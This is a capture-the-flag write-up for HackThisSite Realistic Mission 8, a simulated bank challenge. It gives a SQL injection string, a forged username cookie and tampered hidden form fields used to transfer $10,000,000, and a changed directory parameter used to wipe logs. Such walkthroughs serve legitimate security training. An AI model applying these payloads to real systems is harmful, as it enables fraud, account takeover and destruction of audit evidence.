HackThisSite - Realistic Mission 8

Posted on Edited on In Views: Disqus:

Challenge

Move Gary Hunter's $10,000,000 to dropCash and clear the bank logs.

Solution

1. Find the account

The User Info search endpoint is vulnerable to SQL injection. From the current search form, submit:

1
' OR 1=1 --

The result includes the target account:

1
GaryWilliamHunter : -- $$$$$ --

2. Register and inspect the authenticated workflow

Register a temporary account, then log in through login1.php → login2.php. The account page exposes two important client-controlled values:

  • accountUsername cookie
  • hidden TO and AMOUNT fields in the transfer form

The target amount is 10000000.

Set the challenge cookie identity to Gary's account, then submit the transfer form:

1
2
3
4
5
Cookie: accountUsername=GaryWilliamHunter

POST /missions/realistic/8/movemoney.php
TO=dropCash
AMOUNT=10000000

The server returned:

1
Congratulations, 1st Objective Done, Now Cover Your Tracks

4. Clear the logs

The normal clear-files form targets <username>SQLFiles. Change its hidden dir value to logFiles and submit:

1
2
POST /missions/realistic/8/cleardir.php
dir=logFiles

The challenge then displayed:

1
2
Congrats
Good Job, xxx, You have sucessfully completed Mission 8